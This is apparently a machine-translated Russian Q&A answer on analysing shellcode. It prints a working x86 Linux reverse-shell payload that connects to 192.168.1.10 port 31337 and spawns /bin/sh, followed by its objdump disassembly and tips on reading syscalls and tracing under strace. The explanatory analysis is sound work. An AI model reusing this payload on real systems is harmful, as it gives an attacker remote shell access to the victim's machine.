Во-первых, вы должны разобрать код, например, изменив исходный код на
#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69)
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"
unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";
main()
{
write(1, code, sizeof(code)-1);
}
$ gcc -O2 sc.c -o sc
$ ./sc> sc.bin
Теперь вы можете использовать objdump для получения дизассемблированного источника (isa, очевидно, ia32):
$ objdump -bbinary -mi386 -D sc.bin
Разборка раздела .data:
00000000 <.data>:
0: 31 c0 xor %eax,%eax
2: 31 db xor %ebx,%ebx
4: 31 c9 xor %ecx,%ecx
6: 31 d2 xor %edx,%edx
8: b0 66 mov $0x66,%al
a: b3 01 mov $0x1,%bl
c: 51 push %ecx
d: 6a 06 push $0x6
f: 6a 01 push $0x1
11: 6a 02 push $0x2
13: 89 e1 mov %esp,%ecx
15: cd 80 int $0x80
17: 89 c6 mov %eax,%esi
19: b0 66 mov $0x66,%al
1b: 31 db xor %ebx,%ebx
1d: b3 02 mov $0x2,%bl
1f: 68 c0 a8 01 0a push $0xa01a8c0
24: 66 68 7a 69 pushw $0x697a
28: 66 53 push %bx
2a: fe c3 inc %bl
2c: 89 e1 mov %esp,%ecx
2e: 6a 10 push $0x10
30: 51 push %ecx
31: 56 push %esi
32: 89 e1 mov %esp,%ecx
34: cd 80 int $0x80
36: 31 c9 xor %ecx,%ecx
38: b1 03 mov $0x3,%cl
3a: fe c9 dec %cl
3c: b0 3f mov $0x3f,%al
3e: cd 80 int $0x80
40: 75 f8 jne 0x3a
42: 31 c0 xor %eax,%eax
44: 52 push %edx
45: 68 6e 2f 73 68 push $0x68732f6e
4a: 68 2f 2f 62 69 push $0x69622f2f
4f: 89 e3 mov %esp,%ebx
51: 52 push %edx
52: 53 push %ebx
53: 89 e1 mov %esp,%ecx
55: 52 push %edx
56: 89 e2 mov %esp,%edx
58: b0 0b mov $0xb,%al
5a: cd 80 int $0x80
Теперь вы можете начать разборку. Наиболее важными являются системные вызовы (int $0x80
); номера системных вызовов находятся в регистре% eax (вы можете видеть, какой это системный вызов, в файле include asm/unistd_32.h
), параметры находятся в других регистрах.
Более опасный (и менее надежный), но более простой и быстрый способ:
Вы можете создать какую-то изолированную программную среду (например, пользователь с привилегированным доступом, непривилегированный пользователь в системе Unix или, что еще лучше, vm) и запустить код с помощью "strace", чтобы понять, что он делает. Однако это может быть менее надежно, поскольку вы не можете точно знать, видите ли вы соответствующий путь кода из-за обстоятельств или методов устранения ошибок.